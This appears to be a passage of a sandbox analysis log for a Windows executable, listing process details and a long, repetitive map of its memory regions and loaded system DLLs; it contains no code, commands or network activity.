# Flog Txt Version 1 # Analyzer Version: 2.3.0 # Analyzer Build Date: Apr 5 2018 15:37:55 # Log Creation Date: 11.04.2018 09:22:52.026 Process: id = "1" image_name = "3838612080743901967.exe" filename = "c:\\users\\eebsym5\\desktop\\3838612080743901967.exe" page_root = "0x7ef4f5e0" os_pid = "0x978" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\EEBsYm5\\Desktop\\3838612080743901967.exe\" " cur_dir = "C:\\Users\\EEBsYm5\\Desktop\\" os_username = "CRH2YWU7\\EEBsYm5" os_groups = "CRH2YWU7\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f0e7" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 136 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 137 start_va = 0x30000 end_va = 0x12ffff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 138 start_va = 0x130000 end_va = 0x133fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000130000" filename = "" Region: id = 139 start_va = 0x400000 end_va = 0x48ffff entry_point = 0x400000 region_type = mapped_file name = "3838612080743901967.exe" filename = "\\Users\\EEBsYm5\\Desktop\\3838612080743901967.exe" (normalized: "c:\\users\\eebsym5\\desktop\\3838612080743901967.exe") Region: id = 140 start_va = 0x77e80000 end_va = 0x77e80fff entry_point = 0x77e80000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 141 start_va = 0x77ec0000 end_va = 0x77ffbfff entry_point = 0x77ec0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 142 start_va = 0x7ffb0000 end_va = 0x7ffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ffb0000" filename = "" Region: id = 143 start_va = 0x7ffdb000 end_va = 0x7ffdbfff entry_point = 0x0 region_type = private name = "private_0x000000007ffdb000" filename = "" Region: id = 144 start_va = 0x7ffdf000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007ffdf000" filename = "" Region: id = 145 start_va = 0x2b0000 end_va = 0x3affff entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 146 start_va = 0x75f70000 end_va = 0x75fb9fff entry_point = 0x75f70000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 147 start_va = 0x761d0000 end_va = 0x762a3fff entry_point = 0x761d0000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 148 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 149 start_va = 0x140000 end_va = 0x1a6fff entry_point = 0x140000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 150 start_va = 0x72e20000 end_va = 0x72ea3fff entry_point = 0x72e20000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll") Region: id = 151 start_va = 0x762e0000 end_va = 0x762f8fff entry_point = 0x762e0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 152 start_va = 0x76300000 end_va = 0x76356fff entry_point = 0x76300000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 153 start_va = 0x765f0000 end_va = 0x765f9fff entry_point = 0x765f0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 154 start_va = 0x76700000 end_va = 0x7679ffff entry_point = 0x76700000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 155 start_va = 0x767a0000 end_va = 0x773e9fff entry_point = 0x767a0000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 156 start_va = 0x773f0000 end_va = 0x7748cfff entry_point = 0x773f0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 157 start_va = 0x77490000 end_va = 0x7750afff entry_point = 0x77490000 region_type = mapped_file name = "comdlg32.dll" filename = "\\Windows\\System32\\comdlg32.dll" (normalized: "c:\\windows\\system32\\comdlg32.dll") Region: id = 158 start_va = 0x77550000 end_va = 0x775f0fff entry_point = 0x77550000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 159 start_va = 0x77690000 end_va = 0x7771efff entry_point = 0x77690000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 160 start_va = 0x77720000 end_va = 0x777cbfff entry_point = 0x77720000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 161 start_va = 0x77970000 end_va = 0x77acbfff entry_point = 0x77970000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 162 start_va = 0x77ad0000 end_va = 0x77b98fff entry_point = 0x77ad0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 163 start_va = 0x77c80000 end_va = 0x77ccdfff entry_point = 0x77c80000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 164 start_va = 0x7f6f0000 end_va = 0x7f7effff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f6f0000" filename = "" Region: id = 165 start_va = 0x1b0000 end_va = 0x277fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 166 start_va = 0x600000 end_va = 0x60ffff entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 167 start_va = 0x762b0000 end_va = 0x762cefff entry_point = 0x762b0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 168 start_va = 0x77ba0000 end_va = 0x77c6bfff entry_point = 0x77ba0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 169 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 170 start_va = 0x280000 end_va = 0x280fff entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 171 start_va = 0x490000 end_va = 0x590fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 172 start_va = 0x610000 end_va = 0x120ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000610000" filename = "" Region: id = 173 start_va = 0x1340000 end_va = 0x134ffff entry_point = 0x0 region_type = private name = "private_0x0000000001340000" filename = "" Region: id = 174 start_va = 0x1210000 end_va = 0x130ffff entry_point = 0x0 region_type = private name = "private_0x0000000001210000" filename = "" Region: id = 175 start_va = 0x74d30000 end_va = 0x74d6ffff entry_point = 0x74d30000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 176 start_va = 0x1350000 end_va = 0x148ffff entry_point = 0x0 region_type = private name = "private_0x0000000001350000" filename = "" Region: id = 177 start_va = 0x1350000 end_va = 0x142efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001350000" filename = "" Region: id = 178 start_va = 0x1450000 end_va = 0x148ffff entry_point = 0x0 region_type = private name = "private_0x0000000001450000" filename = "" Region: id = 179 start_va = 0x290000 end_va = 0x290fff entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 180 start_va = 0x74a00000 end_va = 0x74a12fff entry_point = 0x74a00000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 181 start_va = 0x1490000 end_va = 0x14fffff entry_point = 0x0 region_type = private name = "private_0x0000000001490000" filename = "" Region: id = 182 start_va = 0x1500000 end_va = 0x1e2ffff entry_point = 0x1500000 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 183 start_va = 0x2a0000 end_va = 0x2a6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 184 start_va = 0x3b0000 end_va = 0x3b1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003b0000" filename = "" Region: id = 185 start_va = 0x1e30000 end_va = 0x2222fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e30000" filename = "" Region: id = 186 start_va = 0x3c0000 end_va = 0x3dffff entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 187 start_va = 0x2230000 end_va = 0x41d33fff entry_point = 0x0 region_type = private name = "private_0x0000000002230000" filename = "" Region: id = 188 start_va = 0x41d40000 end_va = 0x41e3ffff entry_point = 0x0 region_type = private name = "private_0x0000000041d40000" filename = "" Region: id = 189 start_va = 0x7ffde000 end_va = 0x7ffdefff entry_point = 0x0 region_type = private name = "private_0x000000007ffde000" filename = "" Region: id = 190 start_va = 0x2230000 end_va = 0x1eb77fff entry_point = 0x0 region_type = private name = "private_0x0000000002230000" filename = "" Region: id = 191 start_va = 0x3e0000 end_va = 0x3e0fff entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 192 start_va = 0x3f0000 end_va = 0x3f0fff entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 193 start_va = 0x2230000 end_va = 0xa230fff entry_point = 0x0 region_type = private name = "private_0x0000000002230000" filename = "" Region: id = 194 start_va = 0x5a0000 end_va = 0x5b0fff entry_point = 0x0 region_type = private name = "private_0x00000000005a0000" filename = "" Region: id = 195 start_va = 0x5c0000 end_va = 0x5cffff entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Region: id = 196 start_va = 0x5d0000 end_va = 0x5d6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 197 start_va = 0x5c0000 end_va = 0x5c6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 198 start_va = 0x5c0000 end_va = 0x5c6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 199 start_va = 0x5c0000 end_va = 0x5c6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 200 start_va = 0x5c0000 end_va = 0x5c6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 201 start_va = 0x5c0000 end_va = 0x5c6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 202 start_va = 0x5c0000 end_va = 0x5c6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 203 start_va = 0x5c0000 end_va = 0x5c6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 204 start_va = 0x5c0000 end_va = 0x5c6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 205 start_va = 0x5c0000 end_va = 0x5c6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 206 start_va = 0x5c0000 end_va = 0x5c6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 207 start_va = 0x5c0000 end_va = 0x5c6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 208 start_va = 0x5c0000 end_va = 0x5c6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 209 start_va = 0x5c0000 end_va = 0x5c6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 210 start_va = 0x5c0000 end_va = 0x5c6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 211 start_va = 0x5c0000 end_va = 0x5c6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 212 start_va = 0x5c0000 end_va = 0x5c6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 213 start_va = 0x5c0000 end_va = 0x5c6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 214 start_va = 0x5c0000 end_va = 0x5c6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 215 start_va = 0x5c0000 end_va = 0x5c6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 216 start_va = 0x5c0000 end_va = 0x5c6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 217 start_va = 0x5c0000 end_va = 0x5c6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 218 start_va = 0x5c0000 end_va = 0x5c6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 219 start_va = 0x5c0000 end_va = 0x5c6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 220 start_va = 0x5c0000 end_va = 0x5c6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 221 start_va = 0x5c0000 end_va = 0x5c6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 222 start_va = 0x5c0000 end_va = 0x5c6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 223 start_va = 0x5c0000 end_va = 0x5c6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 224 start_va = 0x5c0000 end_va = 0x5c6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 225 start_va = 0x5c0000 end_va = 0x5c6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 226 start_va = 0x5c0000 end_va = 0x5c6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 227 start_va = 0x5c0000 end_va = 0x5c6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 228 start_va = 0x5c0000 end_va = 0x5c6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 229 start_va = 0x5c0000 end_va = 0x5c6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 230 start_va = 0x5c0000 end_va = 0x5c6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 231 start_va = 0x5c0000 end_va = 0x5c6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 232 start_va = 0x5c0000 end_va = 0x5c6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 233 start_va = 0x5c0000 end_va = 0x5c6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 234 start_va = 0x5c0000 end_va = 0x5c6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 235 start_va = 0x5c0000 end_va = 0x5c6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 236 start_va = 0x5c0000 end_va = 0x5c6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 237 start_va = 0x5c0000 end_va = 0x5c6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 238 start_va = 0x5c0000 end_va = 0x5c6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 239 start_va = 0x5c0000 end_va = 0x5c6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 240 start_va = 0x5c0000 end_va = 0x5c6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 241 start_va = 0x5c0000 end_va = 0x5c6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 242 start_va = 0x5c0000 end_va = 0x5c6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 243 start_va = 0x5c0000 end_va = 0x5c6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 244 start_va = 0x5c0000 end_va = 0x5c6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 245 start_va = 0x5c0000 end_va = 0x5c0fff entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Region: id = 246 start_va = 0x2230000 end_va = 0x2262fff entry_point = 0x0 region_type = private name = "private_0x0000000002230000" filename = "" Region: id = 247 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 248 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 249 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 250 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 251 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 252 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 253 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 254 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 255 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 256 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 257 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 258 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 259 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 260 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 261 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 262 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 263 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 264 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 265 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 266 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 267 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 268 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 269 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 270 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 271 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 272 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 273 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 274 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 275 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 276 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 277 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 278 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 279 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 280 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 281 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 282 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 283 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 284 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 285 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 286 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 287 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 288 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 289 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 290 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 291 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 292 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 293 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 294 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 295 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 296 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 297 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 298 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 299 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 300 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 301 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 302 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 303 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 304 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 305 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 306 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 307 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 308 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 309 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 310 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 311 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 312 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 313 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 314 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 315 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 316 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 317 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 318 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 319 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 320 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 321 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 322 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 323 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 324 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: 